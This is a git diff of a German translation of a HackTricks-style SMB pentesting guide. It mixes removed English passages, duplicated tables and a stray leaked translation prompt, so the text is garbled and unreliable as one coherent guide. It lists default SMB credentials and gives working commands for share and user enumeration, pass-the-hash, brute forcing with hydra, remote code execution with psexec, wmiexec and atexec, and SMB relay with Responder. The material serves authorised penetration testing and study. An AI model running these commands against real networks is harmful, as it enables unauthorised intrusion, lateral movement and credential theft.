Es gibt verschiedene Möglichkeiten, nach SMB-Exploits zu suchen:
|
||||
|
||||
- **Exploit-Datenbanken**: Durchsuchen Sie bekannte Exploit-Datenbanken wie Exploit-DB, Metasploit Framework oder Packet Storm nach SMB-spezifischen Exploits.
|
||||
|
||||
- **Suchmaschinen**: Verwenden Sie Suchmaschinen wie Google, Bing oder Shodan, um nach öffentlich verfügbaren Exploits zu suchen. Geben Sie relevante Suchbegriffe wie "SMB-Exploit" oder "SMB-Sicherheitslücke" ein.
|
||||
|
||||
- **Foren und Communities**: Überprüfen Sie Foren und Communities, die sich auf Hacking und Sicherheit konzentrieren, um nach Diskussionen oder Veröffentlichungen zu SMB-Exploits zu suchen. Beliebte Plattformen sind beispielsweise Hack Forums oder Reddit.
|
||||
|
||||
Stellen Sie sicher, dass Sie bei der Verwendung von Exploits immer die rechtlichen und ethischen Aspekte beachten. Verwenden Sie sie nur für legitime Zwecke wie Penetrationstests oder Sicherheitsaudits, für die Sie die erforderlichen Berechtigungen haben.
|
||||
### **Suche nach Exploits**
|
||||
```bash
|
||||
msf> search type:exploit platform:windows target:2008 smb
|
||||
searchsploit microsoft smb
|
||||
```
|
||||
### **Mögliche** Anmeldedaten
|
||||
### **Mögliche** Anmeldeinformationen
|
||||
|
||||
| **Benutzername(n)** | **Gängige Passwörter** |
|
||||
| -------------------- | ----------------------------------------- |
|
||||
| _(leer)_ | _(leer)_ |
|
||||
| Gast | _(leer)_ |
|
||||
| Administrator, admin | _(leer)_, Passwort, Administrator, admin |
|
||||
| arcserve | arcserve, backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | Passwort, test, lab, demo |
|
||||
| **Benutzername(n)** | **Häufige Passwörter** |
|
||||
| --------------------- | --------------------------------------- |
|
||||
| _(leer)_ | _(leer)_ |
|
||||
| Gast | _(leer)_ |
|
||||
| Administrator, admin | _(leer)_, Passwort, Administrator, admin |
|
||||
| arcserve | arcserve, Backup |
|
||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||
| backupexec, backup | backupexec, backup, arcada |
|
||||
| test, lab, demo | Passwort, test, lab, demo |
|
||||
|
||||
### Brute Force
|
||||
|
||||
* [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
* [**SMB-Brute-Force**](../generic-methodologies-and-resources/brute-force.md#smb)
|
||||
|
||||
### SMB Umgebungsinformationen
|
||||
### SMB-Umgebungsinformationen
|
||||
|
||||
### Informationen erhalten
|
||||
```bash
|
||||
|
@ -144,9 +131,9 @@ rpcclient -U "username%passwd" <IP> #With creds
|
|||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||
```
|
||||
### Benutzer, Gruppen und angemeldete Benutzer ermitteln
|
||||
### Benutzer, Gruppen & Angemeldete Benutzer auflisten
|
||||
|
||||
Diese Informationen sollten bereits mit enum4linux und enum4linux-ng gesammelt worden sein.
|
||||
Diese Informationen sollten bereits von enum4linux und enum4linux-ng gesammelt worden sein.
|
||||
```bash
|
||||
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
|
||||
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
|
||||
|
@ -164,27 +151,17 @@ enumdomgroups
|
|||
```bash
|
||||
lookupsid.py -no-pass hostname.local
|
||||
```
|
||||
Der folgende Inhalt stammt aus einem Buch über Hacking-Techniken. Der folgende Inhalt stammt aus der Datei /hive/hacktricks/network-services-pentesting/pentesting-smb.md. Übersetze den relevanten englischen Text ins Deutsche und gib die Übersetzung zurück, wobei die Markdown- und HTML-Syntax genau beibehalten werden. Übersetze keine Dinge wie Code, Namen von Hacking-Techniken, Hacking-Wörter, Cloud/SaaS-Plattformnamen (wie Workspace, aws, gcp...), das Wort "Leak", Pentesting und Markdown-Tags. Füge auch keine zusätzlichen Informationen hinzu, abgesehen von der Übersetzung und der Markdown-Syntax.
|
||||
Einzelfunktion
|
||||
```bash
|
||||
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
|
||||
```
|
||||
### Metasploit - Lokale Benutzer auflisten
|
||||
|
||||
Um lokale Benutzer auf einem Zielrechner zu ermitteln, kann Metasploit verwendet werden. Der folgende Befehl kann in der Metasploit-Konsole ausgeführt werden, um eine Liste der lokalen Benutzer auf dem Zielrechner abzurufen:
|
||||
|
||||
```plaintext
|
||||
use auxiliary/scanner/smb/smb_enumusers
|
||||
set RHOSTS <Ziel-IP-Adresse>
|
||||
run
|
||||
```
|
||||
|
||||
Dieser Befehl verwendet das SMB-Protokoll, um eine Verbindung zum Zielrechner herzustellen und die Benutzerinformationen abzurufen. Die Ergebnisse werden in der Metasploit-Konsole angezeigt und enthalten Informationen wie Benutzernamen, SIDs (Security Identifiers) und Gruppenzugehörigkeiten der lokalen Benutzer. Diese Informationen können bei weiteren Angriffen oder Penetrationstests nützlich sein.
|
||||
```bash
|
||||
use auxiliary/scanner/smb/smb_lookupsid
|
||||
set rhosts hostname.local
|
||||
run
|
||||
```
|
||||
### **Enumerieren von LSARPC und SAMR rpcclient**
|
||||
### **Aufzählung von LSARPC und SAMR rpcclient**
|
||||
|
||||
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
|
||||
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
|
||||
|
@ -196,15 +173,15 @@ run
|
|||
|
||||
`xdg-open smb://cascade.htb/`
|
||||
|
||||
#### Im Dateibrowserfenster (Nautilus, Thunar, etc.)
|
||||
#### Im Dateibrowserfenster (Nautilus, Thunar, usw.)
|
||||
|
||||
`smb://friendzone.htb/general/`
|
||||
|
||||
## Enumeration freigegebener Ordner
|
||||
## Aufzählung freigegebener Ordner
|
||||
|
||||
### Liste freigegebener Ordner
|
||||
|
||||
Es wird immer empfohlen, zu überprüfen, ob Sie auf etwas zugreifen können. Wenn Sie keine Anmeldeinformationen haben, versuchen Sie es mit **nullen** **Anmeldeinformationen/gastbenutzer**.
|
||||
Es wird immer empfohlen zu prüfen, ob auf etwas zugegriffen werden kann. Wenn Sie keine Anmeldeinformationen haben, versuchen Sie es mit **nullen Anmeldeinformationen/gast Benutzer**.
|
||||
```bash
|
||||
smbclient --no-pass -L //<IP> # Null user
|
||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||
|
@ -218,31 +195,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
|||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||
```
|
||||
To connect to a shared folder on a remote machine, you can use the `smbclient` tool. This tool allows you to interact with SMB (Server Message Block) shares.
|
||||
|
||||
To connect to a shared folder, use the following command:
|
||||
|
||||
```bash
|
||||
smbclient //<IP_ADDRESS>/<SHARED_FOLDER_NAME> -U <USERNAME>
|
||||
```
|
||||
|
||||
Replace `<IP_ADDRESS>` with the IP address of the remote machine and `<SHARED_FOLDER_NAME>` with the name of the shared folder you want to connect to. Additionally, replace `<USERNAME>` with a valid username on the remote machine.
|
||||
|
||||
Once connected, you can use various commands to interact with the shared folder. For example, you can use the `ls` command to list the contents of the shared folder:
|
||||
|
||||
```bash
|
||||
ls
|
||||
```
|
||||
|
||||
This will display a list of files and directories within the shared folder.
|
||||
|
||||
To exit the `smbclient` tool, use the `exit` command:
|
||||
|
||||
```bash
|
||||
exit
|
||||
```
|
||||
|
||||
By following these steps, you can connect to and list the contents of a shared folder on a remote machine using the `smbclient` tool.
|
||||
### **Verbinden/Auflisten eines freigegebenen Ordners**
|
||||
```bash
|
||||
#Connect using smbclient
|
||||
smbclient --no-pass //<IP>/<Folder>
|
||||
|
@ -254,9 +207,9 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
|||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||
```
|
||||
### **Manuell Windows-Freigaben auflisten und darauf zugreifen**
|
||||
### **Manuell Windows-Freigaben auflisten und eine Verbindung herstellen**
|
||||
|
||||
Es ist möglich, dass Sie eingeschränkt sind, die Freigaben des Host-Computers anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als gäbe es keine Freigaben, auf die Sie zugreifen können. Daher könnte es sich lohnen, es manuell zu versuchen, eine Freigabe zu verbinden. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT\_STATUS\_ACCESS\_DENIED und NT\_STATUS\_BAD\_NETWORK\_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. eine Null-Sitzung oder gültige Anmeldeinformationen). Diese können darauf hinweisen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder die Freigabe überhaupt nicht existiert.
|
||||
Es ist möglich, dass Sie eingeschränkt sind, um Freigaben des Hostcomputers anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als gäbe es keine Freigaben, zu denen Sie eine Verbindung herstellen können. Daher könnte es sich lohnen, manuell eine Verbindung zu einer Freigabe herzustellen. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT\_STATUS\_ACCESS\_DENIED und NT\_STATUS\_BAD\_NETWORK\_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. eine Nullsitzung oder gültige Anmeldeinformationen). Diese können darauf hinweisen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder ob die Freigabe überhaupt nicht existiert.
|
||||
|
||||
Gängige Freigabenamen für Windows-Ziele sind
|
||||
|
||||
|
@ -269,14 +222,14 @@ Gängige Freigabenamen für Windows-Ziele sind
|
|||
* SYSVOL
|
||||
* NETLOGON
|
||||
|
||||
(Gängige Freigabenamen aus _**Network Security Assessment 3rd edition**_)
|
||||
(Gängige Freigabenamen aus _**Network Security Assessment 3. Auflage**_)
|
||||
|
||||
Sie können versuchen, sich mit dem folgenden Befehl zu verbinden
|
||||
Sie können versuchen, eine Verbindung zu ihnen herzustellen, indem Sie den folgenden Befehl verwenden:
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||
```
|
||||
oder dieses Skript (unter Verwendung einer Nullsession)
|
||||
oder dieses Skript (unter Verwendung einer Nullsitzung)
|
||||
```bash
|
||||
#/bin/bash
|
||||
|
||||
|
@ -293,136 +246,57 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
|
|||
fi
|
||||
done
|
||||
```
|
||||
### SMB (Server Message Block)
|
||||
# Pentesting SMB
|
||||
|
||||
SMB (Server Message Block) is a network protocol used for file sharing, printer sharing, and communication between devices in a network. It is commonly used in Windows operating systems.
|
||||
## Enumerating SMB Shares
|
||||
|
||||
#### SMB Enumeration
|
||||
### Using smbclient
|
||||
|
||||
SMB enumeration is the process of gathering information about an SMB server, such as the available shares, users, and groups. This information can be useful for further exploitation.
|
||||
Connect to a share:
|
||||
|
||||
##### SMB Version Detection
|
||||
|
||||
To determine the version of SMB running on a target system, you can use the `smbclient` tool with the `-L` option:
|
||||
|
||||
```plaintext
|
||||
$ smbclient -L <target_ip>
|
||||
```bash
|
||||
smbclient //<IP>/<share>
|
||||
```
|
||||
|
||||
##### SMB Share Enumeration
|
||||
List files and directories:
|
||||
|
||||
To enumerate the available shares on an SMB server, you can use the `smbclient` tool with the `-L` option followed by the share name:
|
||||
|
||||
```plaintext
|
||||
$ smbclient -L //<target_ip>/<share_name>
|
||||
```bash
|
||||
smb: \> ls
|
||||
```
|
||||
|
||||
##### SMB User Enumeration
|
||||
Download a file:
|
||||
|
||||
To enumerate the users on an SMB server, you can use the `enum4linux` tool:
|
||||
|
||||
```plaintext
|
||||
$ enum4linux -U <target_ip>
|
||||
```bash
|
||||
smb: \> get <file>
|
||||
```
|
||||
|
||||
##### SMB Group Enumeration
|
||||
Upload a file:
|
||||
|
||||
To enumerate the groups on an SMB server, you can use the `enum4linux` tool:
|
||||
|
||||
```plaintext
|
||||
$ enum4linux -G <target_ip>
|
||||
```bash
|
||||
smb: \> put <file>
|
||||
```
|
||||
|
||||
#### SMB Exploitation
|
||||
### Using enum4linux
|
||||
|
||||
Once you have gathered information about the SMB server, you can proceed with exploiting any vulnerabilities or misconfigurations.
|
||||
Enumerate SMB shares:
|
||||
|
||||
##### Null Session
|
||||
|
||||
A null session is an anonymous connection to an SMB server that does not require any authentication. It can be used to gather information about the target system, such as user accounts, shares, and more.
|
||||
|
||||
To establish a null session, you can use the `smbclient` tool with the `-N` option:
|
||||
|
||||
```plaintext
|
||||
$ smbclient -N -L <target_ip>
|
||||
```bash
|
||||
enum4linux -a <IP>
|
||||
```
|
||||
|
||||
##### Brute-Force Attacks
|
||||
## Brute Forcing SMB
|
||||
|
||||
If you have obtained valid credentials or want to perform a brute-force attack to guess the credentials, you can use tools like `hydra` or `medusa` to automate the process.
|
||||
### Using smbclient
|
||||
|
||||
```plaintext
|
||||
$ hydra -L <user_list> -P <password_list> smb://<target_ip>
|
||||
```bash
|
||||
smbclient -L //<IP> -U <user>
|
||||
```
|
||||
|
||||
##### SMB Relay Attacks
|
||||
### Using Hydra
|
||||
|
||||
SMB relay attacks involve intercepting and relaying SMB authentication requests to gain unauthorized access to a target system. This can be done using tools like `Responder` or `ntlmrelayx`.
|
||||
|
||||
```plaintext
|
||||
$ responder -I eth0
|
||||
```bash
|
||||
hydra -t 1 -l <user> -P /usr/share/wordlists/rockyou.txt smb://<IP>
|
||||
```
|
||||
|
||||
```plaintext
|
||||
$ ntlmrelayx.py -tf targets.txt
|
||||
```
|
||||
|
||||
##### SMB Exploits
|
||||
|
||||
There are various SMB exploits available that target specific vulnerabilities in the SMB protocol. These exploits can be used to gain remote code execution or escalate privileges on a target system.
|
||||
|
||||
Some popular SMB exploits include:
|
||||
|
||||
- EternalBlue
|
||||
- MS17-010
|
||||
- SMBGhost
|
||||
|
||||
#### SMB Post-Exploitation
|
||||
|
||||
After successfully exploiting an SMB server, you can perform various post-exploitation activities, such as:
|
||||
|
||||
- Dumping hashes
|
||||
- Accessing sensitive files
|
||||
- Pivoting to other systems in the network
|
||||
|
||||
##### Hash Dumping
|
||||
|
||||
To dump the password hashes from an SMB server, you can use tools like `mimikatz` or `secretsdump.py`.
|
||||
|
||||
```plaintext
|
||||
$ mimikatz
|
||||
```
|
||||
|
||||
```plaintext
|
||||
$ secretsdump.py -just-dc-ntlm <domain>/<username>:<password>@<target_ip>
|
||||
```
|
||||
|
||||
##### File Access
|
||||
|
||||
Once you have gained access to an SMB share, you can browse and download files using the `smbclient` tool:
|
||||
|
||||
```plaintext
|
||||
$ smbclient //<target_ip>/<share_name> -U <username>
|
||||
```
|
||||
|
||||
##### Pivoting
|
||||
|
||||
If you have compromised a system within the network, you can use SMB to pivot to other systems by executing commands or uploading malicious files.
|
||||
|
||||
```plaintext
|
||||
$ smbclient //<target_ip>/<share_name> -U <username>
|
||||
```
|
||||
|
||||
#### SMB Security Recommendations
|
||||
|
||||
To secure SMB servers and prevent unauthorized access, consider the following recommendations:
|
||||
|
||||
- Disable SMBv1 and use the latest version of SMB.
|
||||
- Implement strong authentication mechanisms, such as Kerberos.
|
||||
- Regularly update and patch SMB servers to protect against known vulnerabilities.
|
||||
- Use strong and complex passwords for user accounts.
|
||||
- Restrict access to SMB shares based on user permissions.
|
||||
- Monitor and log SMB activity for suspicious behavior.
|
||||
```bash
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||
|
@ -446,23 +320,25 @@ net share
|
|||
# List shares on a remote computer (including hidden ones)
|
||||
net view \\<ip> /all
|
||||
```
|
||||
MMC Snap-In (grafisch)
|
||||
MMC Snap-in (grafisch)
|
||||
```shell
|
||||
# Shared Folders: Shared Folders > Shares
|
||||
fsmgmt.msc
|
||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||
compmgmt.msc
|
||||
```
|
||||
explorer.exe (grafisch), geben Sie `\\<ip>\` ein, um die verfügbaren nicht versteckten Freigaben anzuzeigen.
|
||||
```plaintext
|
||||
explorer.exe (grafisch), geben Sie `\\<ip>\` ein, um die verfügbaren nicht versteckten Freigaben zu sehen.
|
||||
|
||||
### Ein freigegebenes Verzeichnis mounten
|
||||
### Ein freigegebenes Verzeichnis einbinden
|
||||
```
|
||||
```bash
|
||||
mount -t cifs //x.x.x.x/share /mnt/share
|
||||
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
||||
```
|
||||
### **Dateien herunterladen**
|
||||
|
||||
Lesen Sie die vorherigen Abschnitte, um zu erfahren, wie Sie sich mit Anmeldeinformationen/Pass-the-Hash verbinden können.
|
||||
Lesen Sie die vorherigen Abschnitte, um zu lernen, wie Sie sich mit Anmeldeinformationen/Pass-the-Hash verbinden.
|
||||
```bash
|
||||
#Search a file and download
|
||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||
|
@ -479,14 +355,14 @@ smbclient //<IP>/<share>
|
|||
```
|
||||
Befehle:
|
||||
|
||||
* mask: gibt die Maske an, die zum Filtern der Dateien im Verzeichnis verwendet wird (z.B. "" für alle Dateien)
|
||||
* mask: gibt die Maske an, die zum Filtern der Dateien im Verzeichnis verwendet wird (z. B. "" für alle Dateien)
|
||||
* recurse: schaltet die Rekursion ein (Standard: aus)
|
||||
* prompt: schaltet die Aufforderung zur Dateinamenabfrage aus (Standard: ein)
|
||||
* mget: kopiert alle Dateien, die der Maske entsprechen, vom Host auf den Client-Rechner
|
||||
* prompt: schaltet die Aufforderung zur Eingabe von Dateinamen aus (Standard: an)
|
||||
* mget: kopiert alle Dateien, die zur Maske passen, vom Host auf den Client-Rechner
|
||||
|
||||
(_Informationen aus der Manpage von smbclient_)
|
||||
|
||||
### Suche nach freigegebenen Ordnern in der Domäne
|
||||
### Suche nach freigegebenen Ordnern im Domänenbereich
|
||||
|
||||
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
|
||||
```bash
|
||||
|
@ -498,43 +374,43 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data
|
|||
```bash
|
||||
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
|
||||
```
|
||||
Besonders interessant sind die Dateien namens **`Registry.xml`**, da sie möglicherweise Passwörter für Benutzer enthalten, die über die Gruppenrichtlinie mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
|
||||
Besonders interessant sind die Dateien namens **`Registry.xml`**, da sie **Passwörter** für Benutzer enthalten können, die über Gruppenrichtlinien mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten.
|
||||
|
||||
{% hint style="info" %}
|
||||
Der **SYSVOL-Share** ist von allen authentifizierten Benutzern in der Domäne **lesbar**. Dort finden Sie möglicherweise viele verschiedene Batch-, VBScript- und PowerShell-**Skripte**.\
|
||||
Sie sollten die **Skripte** darin überprüfen, da Sie möglicherweise sensible Informationen wie **Passwörter** finden.
|
||||
Der **SYSVOL-Share** ist von allen authentifizierten Benutzern in der Domäne **lesbar**. Dort finden Sie viele verschiedene Batch-, VBScript- und PowerShell-**Skripte**.\
|
||||
Sie sollten die **Skripte** darin überprüfen, da Sie möglicherweise sensible Informationen wie **Passwörter** finden könnten.
|
||||
{% endhint %}
|
||||
|
||||
## Registrierung lesen
|
||||
|
||||
Sie können möglicherweise die Registrierung mit einigen entdeckten Anmeldeinformationen **lesen**. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen:
|
||||
Möglicherweise können Sie die Registrierung mit einigen entdeckten Anmeldeinformationen **lesen**. Mit Impacket **`reg.py`** können Sie es versuchen:
|
||||
```bash
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||
```
|
||||
## Post-Exploitation
|
||||
## Post Exploitation
|
||||
|
||||
Die **Standardkonfiguration** eines **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und kann einige **gefährliche Konfigurationen** enthalten:
|
||||
Die **Standardkonfiguration** eines **Samba-Servers** befindet sich normalerweise in `/etc/samba/smb.conf` und kann einige **gefährliche Konfigurationen** enthalten:
|
||||
|
||||
| **Einstellung** | **Beschreibung** |
|
||||
| **Einstellung** | **Beschreibung** |
|
||||
| --------------------------- | ------------------------------------------------------------------- |
|
||||
| `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben in der aktuellen Freigabe? |
|
||||
| `read only = no` | Verbietet das Erstellen und Ändern von Dateien? |
|
||||
| `writable = yes` | Erlaubt Benutzern das Erstellen und Ändern von Dateien? |
|
||||
| `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? |
|
||||
| `enable privileges = yes` | Berücksichtigt Berechtigungen, die einer bestimmten SID zugewiesen sind? |
|
||||
| `browseable = yes` | Ermöglicht das Auflisten verfügbarer Freigaben in der aktuellen Freigabe? |
|
||||
| `read only = no` | Verbietet das Erstellen und Ändern von Dateien? |
|
||||
| `writable = yes` | Erlaubt Benutzern das Erstellen und Ändern von Dateien? |
|
||||
| `guest ok = yes` | Ermöglicht die Verbindung zum Dienst ohne Verwendung eines Passworts? |
|
||||
| `enable privileges = yes` | Berücksichtigt Berechtigungen, die bestimmten SIDs zugewiesen sind? |
|
||||
| `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? |
|
||||
| `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? |
|
||||
| `logon script = script.sh` | Welches Skript muss bei der Anmeldung des Benutzers ausgeführt werden? |
|
||||
| `magic script = script.sh` | Welches Skript soll ausgeführt werden, wenn das Skript geschlossen wird? |
|
||||
| `magic output = script.out` | Wo soll die Ausgabe des Magic-Skripts gespeichert werden? |
|
||||
| `magic output = script.out` | Wo soll die Ausgabe des magischen Skripts gespeichert werden? |
|
||||
|
||||
Der Befehl `smbstatus` liefert Informationen über den **Server** und darüber, **wer verbunden ist**.
|
||||
|
||||
## Authentifizierung mit Kerberos
|
||||
|
||||
Sie können sich mit den Tools **smbclient** und **rpcclient** bei **Kerberos** authentifizieren:
|
||||
Sie können sich mit den Tools **smbclient** und **rpcclient** an **Kerberos** authentifizieren:
|
||||
```bash
|
||||
smbclient --kerberos //ws01win10.domain.com/C$
|
||||
rpcclient -k ws01win10.domain.com
|
||||
|
@ -543,7 +419,7 @@ rpcclient -k ws01win10.domain.com
|
|||
|
||||
### **crackmapexec**
|
||||
|
||||
crackmapexec kann Befehle **missbrauchen**, indem es **mmcexec, smbexec, atexec, wmiexec** verwendet, wobei **wmiexec** die **Standardmethode** ist. Sie können angeben, welche Option Sie mit dem Parameter `--exec-method` verwenden möchten:
|
||||
crackmapexec kann Befehle unter Ausnutzung von **mmcexec, smbexec, atexec, wmiexec** ausführen, wobei **wmiexec** die **Standard**methode ist. Sie können angeben, welche Option Sie mit dem Parameter `--exec-method` bevorzugen möchten:
|
||||
```bash
|
||||
apt-get install crackmapexec
|
||||
|
||||
|
@ -567,7 +443,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
|
|||
```
|
||||
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
|
||||
|
||||
Beide Optionen werden einen neuen Dienst erstellen (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Opfermaschine und verwenden ihn, um etwas auszuführen (**psexec** wird eine ausführbare Datei auf den ADMIN$-Freigabe hochladen und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Nutzlast in den Argumenten platzieren --**file-less technique-**-).\
|
||||
Beide Optionen werden einen neuen Dienst erstellen (unter Verwendung von _\pipe\svcctl_ über SMB) auf dem Opferrechner und ihn verwenden, um etwas auszuführen (**psexec** wird eine ausführbare Datei auf den ADMIN$-Freigabe hochladen und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und im Argument das Payload --**file-less technique-**-- einfügen).\
|
||||
**Weitere Informationen** zu [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) und [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
|
||||
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
|
@ -577,11 +453,11 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
|||
psexec \\192.168.122.66 -u Administrator -p 123456Ww
|
||||
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
|
||||
```
|
||||
Mit dem **Parameter** `-k` können Sie sich anstelle von **NTLM** gegen **Kerberos** authentifizieren.
|
||||
Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstatt gegen **NTLM** authentifizieren
|
||||
|
||||
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
|
||||
|
||||
Führen Sie eine Befehlszeilenshell heimlich aus, ohne die Festplatte zu berühren oder einen neuen Dienst über DCOM über **Port 135** auszuführen.\
|
||||
Führen Sie stealthily eine Befehlsshell aus, ohne die Festplatte zu berühren oder einen neuen Dienst über DCOM über **Port 135** auszuführen.\
|
||||
In **Kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
|
@ -589,7 +465,7 @@ In **Kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
|||
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
|
||||
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
|
||||
```
|
||||
Mit dem **Parameter** `-k` können Sie sich anstelle von **NTLM** gegen **Kerberos** authentifizieren.
|
||||
Mit dem **Parameter** `-k` können Sie sich gegen **Kerberos** anstatt gegen **NTLM** authentifizieren.
|
||||
```bash
|
||||
#If no password is provided, it will be prompted
|
||||
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
|
||||
|
@ -598,7 +474,7 @@ Mit dem **Parameter** `-k` können Sie sich anstelle von **NTLM** gegen **Kerber
|
|||
```
|
||||
### [AtExec](../windows-hardening/ntlm/atexec.md)
|
||||
|
||||
Führen Sie Befehle über den Taskplaner aus (mit _\pipe\atsvc_ über SMB).\
|
||||
Führen Sie Befehle über den Taskplaner aus (unter Verwendung von _\pipe\atsvc_ über SMB).\
|
||||
In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
||||
```bash
|
||||
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
|
||||
|
@ -608,21 +484,21 @@ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/
|
|||
|
||||
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
|
||||
|
||||
## **Benutzeranmeldeinformationen bruteforcen**
|
||||
## **Benutzeranmeldeinformationen brute force**
|
||||
|
||||
**Dies wird nicht empfohlen, da Sie ein Konto blockieren könnten, wenn Sie die maximal zulässigen Versuche überschreiten**
|
||||
**Dies wird nicht empfohlen, da ein Konto gesperrt werden könnte, wenn Sie die maximal zulässigen Versuche überschreiten**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
```
|
||||
## SMB-Relay-Angriff
|
||||
## SMB-Weiterleitungsangriff
|
||||
|
||||
Dieser Angriff verwendet das Responder-Toolkit, um SMB-Authentifizierungssitzungen in einem internen Netzwerk zu erfassen und sie an eine Zielmaschine weiterzuleiten. Wenn die Authentifizierungssitzung erfolgreich ist, gelangen Sie automatisch in eine Systemshell.\
|
||||
[**Weitere Informationen zu diesem Angriff finden Sie hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
Dieser Angriff verwendet das Responder-Toolkit, um **SMB-Authentifizierungssitzungen** in einem internen Netzwerk zu **erfassen** und sie an eine **Zielmaschine weiterzuleiten**. Wenn die Authentifizierungssitzung **erfolgreich ist**, gelangen Sie automatisch in eine **System**-**Shell**.\
|
||||
